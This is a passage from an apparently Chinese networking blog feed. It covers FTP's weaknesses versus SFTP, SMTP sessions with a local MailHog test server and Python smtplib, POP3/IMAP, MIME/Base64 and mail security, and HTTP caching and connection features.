address = (&apos;127.0.0.1&apos;, 2121)
server = FTPServer(address, handler)

# 设置被动模式端口范围（方便抓包观察）
handler.passive_ports = range(60000, 60010)

print(&quot;FTP server starting on 127.0.0.1:2121...&quot;)
server.serve_forever()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. 时代的反思：为什么我们现在常用 SFTP？&lt;/h3&gt;
&lt;p&gt;FTP 诞生于网络互信的早期，它的安全性设计严重落后于时代：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;明文传输：&lt;/strong&gt; 用户名、密码和文件内容完全暴露。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防火墙穿透难：&lt;/strong&gt; 动态端口范围在企业级防火墙中配置非常复杂。
&lt;strong&gt;演进方向：&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FTPS：&lt;/strong&gt; 为 FTP 套上 SSL/TLS 的外壳（SSL/TLS over FTP）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SFTP：&lt;/strong&gt; &lt;strong&gt;注意！它不是 FTP&lt;/strong&gt;，它是基于 SSH 协议的子系统。它只需要一个 TCP 端口（通常是22），不仅自带加密，还解决了防火墙穿透的所有麻烦。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;SMTP&lt;/h2&gt;
&lt;p&gt;在现代互联网中，电子邮件依然是通信的基石之一。当你按下“发送”键，看似瞬间完成的过程，背后其实运行着&lt;strong&gt;SMTP(Simple Mail Transfer Protocol，简单邮件传输协议)&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;1. 核心架构：推模式(Push Protocol)&lt;/h3&gt;
&lt;p&gt;理解 SMTP 的第一步，是明确它的定位。与 HTTP（用户主动请求资源，即“拉”）不同，SMTP是一个典型的“推”协议。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;邮件用户代理(&lt;code&gt;MUA&lt;/code&gt;, Mail User Agent)&lt;/strong&gt;：如 Outlook客户端、QQ邮箱网页版等。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;职责&lt;/strong&gt;：提供邮件撰写、阅读和管理界面。它负责通过 &lt;code&gt;SMTP&lt;/code&gt; 将邮件推送给发件方的邮件服务器，并通过 &lt;code&gt;POP3&lt;/code&gt; 或 &lt;code&gt;IMAP&lt;/code&gt; 从邮件服务器拉取接收到的邮件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;邮件传输代理(&lt;code&gt;MTA&lt;/code&gt;, Mail Transfer Agent)&lt;/strong&gt;：邮件服务器接收邮件，负责&lt;strong&gt;路由&lt;/strong&gt;和&lt;strong&gt;中转&lt;/strong&gt;。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路由解析&lt;/strong&gt;：解析收件人地址，通过 DNS 查询目标域的 &lt;strong&gt;MX(Mail Exchange)记录&lt;/strong&gt;，锁定下一跳 MTA。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;队列管理&lt;/strong&gt;：MTA 会将邮件置于本地队列(Queue)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中转/投递&lt;/strong&gt;：通过 SMTP 协议将邮件传递给 下一个MTA。当邮件到达目标服务器时，交由内部的 &lt;code&gt;MDA&lt;/code&gt; (Mail Delivery Agent, 邮件投递代理) 存入收件人的专属目录中，等待用户MUA来拉取。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2. SMTP 的协议哲学：有状态的会话流&lt;/h3&gt;
&lt;p&gt;SMTP 运行于 TCP 之上（标准端口 25），本质是一种基于&lt;strong&gt;明文命令&lt;/strong&gt; &lt;strong&gt;有状态&lt;/strong&gt;的会话协议。它在逻辑上分为三个阶段：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;会话建立&lt;/strong&gt; (Handshake)
&lt;ul&gt;
&lt;li&gt;这是“身份与能力”的协商阶段。当 TCP 三次握手完成后，服务器会先发送一个 &lt;code&gt;220 Service Ready&lt;/code&gt;。紧接着客户端发送 &lt;code&gt;HELO&lt;/code&gt; 或 &lt;code&gt;EHLO&lt;/code&gt;(Extended HELO)，双方确认身份并协商能力（例如是否支持 SIZE大数据块、AUTH身份认证、STARTTLS加密传输等）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;邮件事务处理&lt;/strong&gt; (Transaction)
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MAIL FROM&lt;/strong&gt;: 声明发件人地址&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RCPT TO&lt;/strong&gt;: 声明收件人地址（可多次调用以实现群发）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DATA&lt;/strong&gt;: 命令发出后，SMTP 进入“内容接收模式”。此时服务器不再解析指令，而是接收整段原始文本，直到遇到 &lt;code&gt;\r\n.\r\n&lt;/code&gt; 结束&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;会话终止 (Quit)
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;QUIT&lt;/code&gt; 命令不仅是 TCP 层面的终结，更是向服务器发送确认信号，告知邮件已完整交付，服务器随后可执行后续的路由或入库操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# 利用轻量级的邮件测试服务器 MailHog 和 Python，我们可以直观地观察上述过程。
# 运行 MailHog（一个轻量级的 SMTP 测试服务器，提供 Web UI 查看邮件内容 端口8025）
docker run -d --name mailhog -p 1025:1025 -p 8025:8025 mailhog/mailhog
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 简易用户代理(MUA) 
import smtplib
from email.message import EmailMessage
# 构造邮件
msg = EmailMessage()
msg[&quot;Subject&quot;] = &quot;Hello from Python smtplib.SMTP&quot;
msg[&quot;From&quot;] = &quot;sender@mail.alinche.com&quot;
msg[&quot;To&quot;] = &quot;receiver@mail.alinche.com&quot;
msg.set_content(&quot;这是一封测试邮件，用来观察 Wireshark 抓包。&quot;)
# 发送邮件(连接到本地的 MailHog)
try:
    # MailHog 默认运行在 1025 端口
    with smtplib.SMTP(&quot;localhost&quot;, 1025) as s:
        s.send_message(msg)
    print(&quot;邮件发送成功！&quot;)
except Exception as e:
    print(f&quot;发送失败: {e}&quot;)

## 或者者直接使用 telnet 模拟 SMTP 会话
# telnet localhost 1025
# HELO mycomputer
# MAIL FROM:&amp;lt;sender@test.com&amp;gt;
# RCPT TO:&amp;lt;receiver@test.com&amp;gt;
# DATA
# Subject: Hello from telnet Test Email
#
# This is a test message.
# .
# QUIT
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. 接收的艺术：POP3 与 IMAP&lt;/h3&gt;
&lt;p&gt;SMTP 把邮件推到了目标服务器的“邮箱”队列里，但用户怎么在手机或电脑上看到它呢？这时候就需要&lt;strong&gt;拉模式(Pull Protocol)&lt;/strong&gt; 登场了。目前主流的拉取协议有两种：&lt;strong&gt;POP3&lt;/strong&gt; 和 &lt;strong&gt;IMAP&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;传统的“下载与删除”：&lt;code&gt;POP3&lt;/code&gt; (Post Office Protocol version 3)&lt;/h4&gt;
&lt;p&gt;POP3 就像传统的邮递员，它的设计理念诞生于早期互联网时代，那时的服务器存储空间非常昂贵，且用户通常只有一台电脑。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工作机制&lt;/strong&gt;：单向下载。MUA连接到邮件服务器，将所有未读邮件&lt;strong&gt;下载到本地设备&lt;/strong&gt;，并且（默认情况下）&lt;strong&gt;从服务器上删除这些邮件&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优点&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;节省服务器存储空间。&lt;/li&gt;
&lt;li&gt;可以在没有网络的情况下阅读已下载的历史邮件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;致命缺点&lt;/strong&gt;：&lt;strong&gt;多设备灾难&lt;/strong&gt;。如果你在手机上用 POP3 下载了邮件，回到家打开电脑，电脑上将看不到这封邮件（因为它已经从服务器上删除了）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;端口&lt;/strong&gt;：&lt;code&gt;110&lt;/code&gt;(明文) / &lt;code&gt;995&lt;/code&gt;(SSL/TLS加密)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;现代的“云端双向同步”：&lt;code&gt;IMAP&lt;/code&gt; (Internet Message Access Protocol)&lt;/h4&gt;
&lt;p&gt;为了解决多设备办公的问题，IMAP 应运而生。它是现代邮件客户端的默认首选。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工作机制&lt;/strong&gt;：双向同步。IMAP 并不把邮件“拿走”，而是作为一面镜子，让客户端&lt;strong&gt;直接映射和操作服务器上的邮件&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心特性&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;状态同步&lt;/strong&gt;：你在手机上把邮件标记为“已读”，电脑端和网页端也会同步显示“已读”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文件夹管理&lt;/strong&gt;：支持在服务器上创建、重命名或删除文件夹，这些操作在所有设备上同步。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;按需加载&lt;/strong&gt;：客户端可以先只下载邮件的“头部（发件人、主题）”，只有当你点击查看时，才下载正文和庞大的附件，极大节省了移动端流量。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺点&lt;/strong&gt;：高度依赖网络，且长年累月会占用大量的服务器存储空间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;端口&lt;/strong&gt;：&lt;code&gt;143&lt;/code&gt;(明文) / &lt;code&gt;993&lt;/code&gt;(SSL/TLS加密)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. 突破限制的魔法：MIME 与 Base64 编码&lt;/h3&gt;
&lt;p&gt;早期的 SMTP 协议有一个致命缺陷：&lt;strong&gt;它被设计为只支持 7-bit ASCII 字符&lt;/strong&gt;。如果你直接把中文、图片或 PDF 作为 &lt;code&gt;DATA&lt;/code&gt; 内容发送，SMTP 服务器会直接报错或导致乱码。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MIME&lt;/code&gt; (Multipurpose Internet Mail Extensions，多用途互联网邮件扩展)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;它不是一个独立的传输协议，而是一个&lt;strong&gt;内容格式标准&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;MIME 通过在邮件头部增加 &lt;code&gt;Content-Type&lt;/code&gt; 字段，告诉接收方这是一段 HTML 代码（&lt;code&gt;text/html&lt;/code&gt;）、一张图片（&lt;code&gt;image/jpeg&lt;/code&gt;）还是一个带有附件的混合内容（&lt;code&gt;multipart/mixed&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Base64&lt;/code&gt; 编码&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;由于 SMTP 通道只能走 ASCII 字符，&lt;strong&gt;Base64 充当了“翻译官”的角色&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;它将包含中文的文本、图片的二进制数据，统统转换成由 &lt;code&gt;A-Z, a-z, 0-9, +, /&lt;/code&gt; 组成的 64 个安全且可打印的 ASCII 字符。（空间膨胀约33.3%）&lt;/li&gt;
&lt;li&gt;例如，中文的“测试”二字经过 Base64 编码后变成了 &lt;code&gt;5rWL6K+V&lt;/code&gt;，这样 SMTP 就能安全地将其装在信封里传输。接收方的 MUA 收到后，再 Base64 逆向解码恢复成中文或图片。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;现代邮件的附件 本质上是一段经过 Base64 编码的二进制数据，MIME 通过 &lt;code&gt;Content-Disposition: attachment&lt;/code&gt; 告诉客户端这是一个附件，客户端再根据 &lt;code&gt;Content-Type&lt;/code&gt; 的提示正确解码并展示。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5. 现代 SMTP 的安全防线&lt;/h3&gt;
&lt;p&gt;如果你现在试图直接使用原始 SMTP 协议与大型邮件服务器（如 Gmail、QQ 邮箱）交互，你大概率会碰壁。因为早期的 SMTP 是“君子协议”，任何人都可以伪造 &lt;code&gt;MAIL FROM&lt;/code&gt;。现代邮件系统已经演进出三道坚固的防线：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;STARTTLS(安全升级)&lt;/strong&gt;：通过 &lt;code&gt;STARTTLS&lt;/code&gt; 命令，SMTP 可以在通信中途将原本的明文 TCP 连接升级为 TLS 加密连接，防止邮件内容（含 Base64 数据）在公网被抓包窃听。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;身份认证(SMTP-AUTH)&lt;/strong&gt;：现代 MUA 提交邮件时，必须通过 &lt;code&gt;AUTH LOGIN/PLAIN&lt;/code&gt; 验证账户密码，防止邮件服务器沦为垃圾邮件的开放中继站（Open Relay）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;身份验证体系(SPF/DKIM/DMARC)&lt;/strong&gt;：由于协议漏洞导致的发件人易伪造问题，现代 DNS 层面的 SPF 记录（验证发送者 IP）和基于非对称加密数字签名的 DKIM，成为了现代邮件系统的“防伪标识”。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>HTTP</title><link>https://blog.alinche.dpdns.org/posts/net/http/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/net/http/</guid><description>HTTP协议剖析</description><pubDate>Thu, 12 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://xiaolincoding.com/network/2_http/http_interview.html&quot;&gt;参考文献-小林coding-HTTP&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;HTTP：从基础到进阶的深度解析与实践指南&lt;/h1&gt;
&lt;h2&gt;一、HTTP核心概念再梳理&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;HTTP是基于TCP/IP的、无状态的、应用层的请求-响应协议，用于在客户端（浏览器/APP）与服务器之间传输超文本（HTML、图片、视频等）资源。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;关键特性&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;无状态(Statelessness)&lt;/strong&gt;：每次请求独立，服务器不保存会话状态。（系统权衡：无状态使得服务器无需维护庞大的会话上下文，极大地降低了内存消耗，天然支持水平扩展（负载均衡集群）。状态管理则通过 &lt;code&gt;Cookie/Session&lt;/code&gt; 或 &lt;code&gt;Token&lt;/code&gt; 交由应用层处理）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;请求-响应模型&lt;/strong&gt;：文本协议，遵循经典的 C/S 交互哲学，&lt;code&gt;header + body&lt;/code&gt;结构清晰、易于调试。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可扩展性(Extensibility)&lt;/strong&gt;：Header 机制允许协议在不破坏兼容性的前提下，通过新增字段实现 HTTPS 加密、Keep-Alive 持久连接、分块传输、缓存控制等进阶功能。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;二、HTTP缓存技术：性能优化&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;缓存的核心目标只有一个：&lt;strong&gt;减少不必要的网络往返(RTT)和带宽消耗&lt;/strong&gt;。HTTP缓存机制将这一目标拆解为“过期验证”与“内容校验”两个层次。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1. 缓存分类：强缓存 vs 协商缓存&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;触发条件&lt;/th&gt;
&lt;th&gt;作用机制&lt;/th&gt;
&lt;th&gt;响应状态码&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;强缓存&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;浏览器检查本地缓存是否过期&lt;/td&gt;
&lt;td&gt;没过期就直接使用本地缓存，&lt;strong&gt;不请求服务器&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;200 (from cache)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;协商缓存&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;强缓存过期后，与服务器验证&lt;/td&gt;
&lt;td&gt;若服务器返回304，浏览器使用本地缓存&lt;/td&gt;
&lt;td&gt;304 (Not Modified)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;详细工作流程（以浏览器访问为例）&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/http-cache.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2. 核心 Header 参数理解&lt;/h3&gt;
&lt;p&gt;理解这些 Header 的优先级与“握手”机制，是工程落地的关键：&lt;/p&gt;
&lt;h4&gt;A. 强缓存控制：无需校验&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Cache-Control&lt;/code&gt; (首选)&lt;/strong&gt;：现代标准，控制权的核心。
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;max-age=N&lt;/code&gt;：资源在 N 秒内被视为新鲜，无需校验。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;no-cache&lt;/code&gt;：不走强缓存，&lt;strong&gt;必须进行协商缓存&lt;/strong&gt;（不要被名字误导）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;no-store&lt;/code&gt;：彻底禁止缓存（用于敏感数据）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;immutable&lt;/code&gt;：告诉浏览器资源永不改变，即使刷新也不必再次校验。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Expires&lt;/code&gt; (遗留)&lt;/strong&gt;：HTTP/1.0 产物。它是&lt;strong&gt;绝对时间&lt;/strong&gt;，强依赖服务器与客户端时钟同步。由于时钟漂移问题，&lt;strong&gt;现代工程实践中应被 &lt;code&gt;Cache-Control&lt;/code&gt; 完全取代&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;B. 协商缓存：精确校验的“握手”机制&lt;/h4&gt;
&lt;p&gt;协商缓存本质上是一场“对话”：服务器告诉浏览器资源的版本标记，浏览器下次请求时带上这些标记，询问服务器“我的版本还是最新的吗？”。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;校验维度&lt;/th&gt;
&lt;th&gt;请求头（浏览器发给服务器）&lt;/th&gt;
&lt;th&gt;响应头（服务器下发给浏览器）&lt;/th&gt;
&lt;th&gt;校验逻辑&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;内容摘要&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;If-None-Match&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ETag&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;服务器对比 &lt;code&gt;If-None-Match&lt;/code&gt; 值与当前资源 &lt;code&gt;ETag&lt;/code&gt;。一致则 304。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;最后修改时间&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;If-Modified-Since&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Last-Modified&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;服务器对比时间戳。未超过则 304。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Q: 为什么需要两套机制？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;If-None-Match&lt;/code&gt; 与 &lt;code&gt;ETag&lt;/code&gt; (推荐)&lt;/strong&gt;：这是&lt;strong&gt;强校验&lt;/strong&gt;。&lt;code&gt;ETag&lt;/code&gt; 是资源的唯一指纹（如内容的 Hash 值）。只要内容变了，Hash 必变。它解决了 &lt;code&gt;Last-Modified&lt;/code&gt; 的精度问题（秒级）和“内容没变但时间戳变了”的缓存失效问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;If-Modified-Since&lt;/code&gt; 与 &lt;code&gt;Last-Modified&lt;/code&gt; (兜底)&lt;/strong&gt;：这是&lt;strong&gt;弱校验&lt;/strong&gt;。如果服务器不支持生成 &lt;code&gt;ETag&lt;/code&gt;，或者为了节省生成 Hash 的 CPU 开销，会退化使用最后修改时间。
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;缺陷&lt;/em&gt;：若文件在 1 秒内被多次修改，&lt;code&gt;Last-Modified&lt;/code&gt; 无法感知。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. 如何设计缓存策略&lt;/h3&gt;
&lt;p&gt;在构建生产级 Web 服务时，不能简单地“全缓存”或“不缓存”，应依据资源的&lt;strong&gt;生命周期&lt;/strong&gt;分类处理：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;对版本化静态资源（如 &lt;code&gt;main.v1.2.3.js&lt;/code&gt;）&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;策略&lt;/strong&gt;：缓存永久有效。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：&lt;code&gt;Cache-Control: max-age=31536000, immutable&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：因为文件名包含版本号（或 Hash 值），一旦内容更新，文件名即变，浏览器会视为一个全新的资源，完全不必担心缓存旧数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对入口文件（如 &lt;code&gt;index.html&lt;/code&gt;）&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;策略&lt;/strong&gt;：禁止强缓存，强制协商缓存。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：&lt;code&gt;Cache-Control: no-cache&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：&lt;code&gt;no-cache&lt;/code&gt; 并不意味着不缓存，而是&lt;strong&gt;禁止直接使用强缓存&lt;/strong&gt;。浏览器必须带上 &lt;code&gt;If-None-Match&lt;/code&gt; 请求服务器验证。这样既确保了用户永远拿到最新页面，又能通过 304 节省传输开销，降低服务器负载。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对敏感或动态数据（如用户 API 响应）&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;策略&lt;/strong&gt;：完全不缓存。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：&lt;code&gt;Cache-Control: no-store&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：禁止任何形式的本地或代理存储，确保数据的实时性与安全性。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;三、 HTTP 核心特性深度解析：性能与架构的博弈&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HTTP/1.1&lt;/code&gt; 是现代 Web 的基石，其最突出的优点是「简单、灵活和易于扩展、应用广泛和跨平台」。其特性设计旨在解决网络传输中的&lt;strong&gt;延迟(Latency)&lt;/strong&gt;、**连接开销(Overhead)&lt;strong&gt;与&lt;/strong&gt;用户体验(Consistency)**三大痛点。&lt;/li&gt;
&lt;li&gt;HTTP 协议是基于 &lt;code&gt;TCP/IP&lt;/code&gt; 的，并且使用了「&lt;code&gt;请求-响应&lt;/code&gt;」的通信模式，所以其性能的关键就在这&lt;strong&gt;两点&lt;/strong&gt;里。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1. 长连接(Keep-Alive)：重塑连接效率&lt;/h3&gt;
&lt;p&gt;在 HTTP/1.0 时代，每请求一次资源就要经历一次完整的TCP三次握手和慢启动(Slow Start)，属于串行请求，延迟极其严重。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;设计目标&lt;/strong&gt;：复用 TCP 连接，摊销握手成本，避开 TCP 慢启动机制带来的初始拥塞。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;进化机制&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTTP/1.0&lt;/strong&gt;：默认短连接，必须显式携带 &lt;code&gt;Connection: keep-alive&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP/1.1&lt;/strong&gt;：默认开启长连接，除非显式设置 &lt;code&gt;Connection: close&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能提升逻辑&lt;/strong&gt;：TCP 连接一旦建立，后续的多个 HTTP 请求可以在同一个通道内串行发送。这极大地降低了每个请求的延迟，尤其是对于包含多个资源（如图片、CSS、JS）的页面加载来说。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;专家洞察&lt;/strong&gt;：长连接并非免费的午餐，它需要服务器维持连接状态。在高并发下，过多的空闲连接会占用服务器的文件描述符FD和内存资源，需配合&lt;code&gt;超时关闭机制&lt;/code&gt;(Keep-Alive Timeout)来平衡性能与资源消耗。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 管道化(HTTP Pipelining)：失败的先行者&lt;/h3&gt;
&lt;p&gt;在 HTTP/1.1 中引入了管道化技术，试图进一步榨干长连接的性能。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心逻辑&lt;/strong&gt;：客户端在一个 TCP 连接中发送多个请求，&lt;strong&gt;无需等待上一个请求的响应返回&lt;/strong&gt;即可发出后续请求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;致命缺陷：队头阻塞(Head-of-Line Blocking)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;HTTP/1.1 协议规定，服务器必须&lt;strong&gt;严格按照请求到达的顺序&lt;/strong&gt;返回响应。&lt;/li&gt;
&lt;li&gt;如果第一个请求（如较大的图片）处理很慢，后续响应即便处理完成也必须排队等待，导致整个通道被堵塞。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;现状&lt;/strong&gt;：由于 HOL 阻塞严重，加上浏览器实现兼容性差，主流浏览器默认均禁用该功能。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对比&lt;/strong&gt;：HTTP/2 的**多路复用(Multiplexing)**正是为了彻底解决这个问题，它将请求打碎为二进制帧(Frame)，通过流(Stream)实现真正的并行传输。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. 无状态与状态管理：工程妥协的艺术&lt;/h3&gt;
&lt;p&gt;HTTP 协议被设计为“无状态”的，这是一种为了&lt;strong&gt;简洁性&lt;/strong&gt;和&lt;strong&gt;扩展性&lt;/strong&gt;做出的工程选择。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;为什么无状态？&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;简单&lt;/strong&gt;：服务器无需记录客户端的历史交互，天然支持大规模水平扩展（集群中的任意节点均可处理请求），能够把更多的CPU和内存用来对外提供服务。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;如何实现状态管理？&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;为了弥补协议层的无状态，现代 Web 应用建立了一套标准的状态流转机制：&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;首次请求（签发）&lt;/strong&gt;：客户端发送账号密码，服务器验证通过后，生成一个唯一标识（Session ID 或 Token）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;状态下发（传递）&lt;/strong&gt;：服务器通过响应头（如 &lt;code&gt;Set-Cookie&lt;/code&gt; 或自定义 Header）将该标识返回给客户端。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后续请求（携带与还原）&lt;/strong&gt;：客户端在此后的每次请求中自动（通过Cookie）或手动（通过Authorization头）携带该标识，服务器解析后“认出”客户端身份。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;现代演进与架构博弈&lt;/strong&gt;：
&lt;ul&gt;
